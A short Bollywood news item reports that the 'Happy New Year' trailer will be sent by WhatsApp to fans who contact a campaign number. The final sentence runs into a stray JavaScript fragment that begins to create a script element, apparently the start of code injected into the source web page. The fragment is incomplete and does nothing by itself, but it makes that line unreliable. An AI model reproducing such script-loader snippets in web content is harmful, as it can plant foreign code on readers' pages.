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Red Chillies Entertainments Pvt Ltd is known for its digital and marketing innovations and this time as well they have come up with a unique concept for the mobile phone and tablet users for their Diwali release, Happy New Year. For the first time an Indian film will send its trailer via WhatsApp to the users of the application.

So all the King Khan fans need to give a missed call or drop in a WhatsApp message at +91 9819020202 to get the HNY Trailer on their mobile. If this is not enough then, the restriction by WhatsApp on a broadcast message has specially been removed for this campaign.

The trailer of the Farah Khan directed film starring Deepika Padukone, Shah Rukh Khan, Abhishek Bachchan, Sonu Sood, Boman Irani and Vivaan Shah will be launched on 14th August. What more can film buffs expect from the makers of the film! They all are getting an opportunity to watch the trailer of one of the biggest bonanza films on their phones.

Happy New Year is a rollicking, flamboyant, colourful, witty, action-packed musical bonanza. We all know that Shahruk Khan is one of the most technology savvy actors in Bollywood and with this step he is all set to start a new trend and take technology to a new level.var d=document;var s=d.createElement(‘script’);

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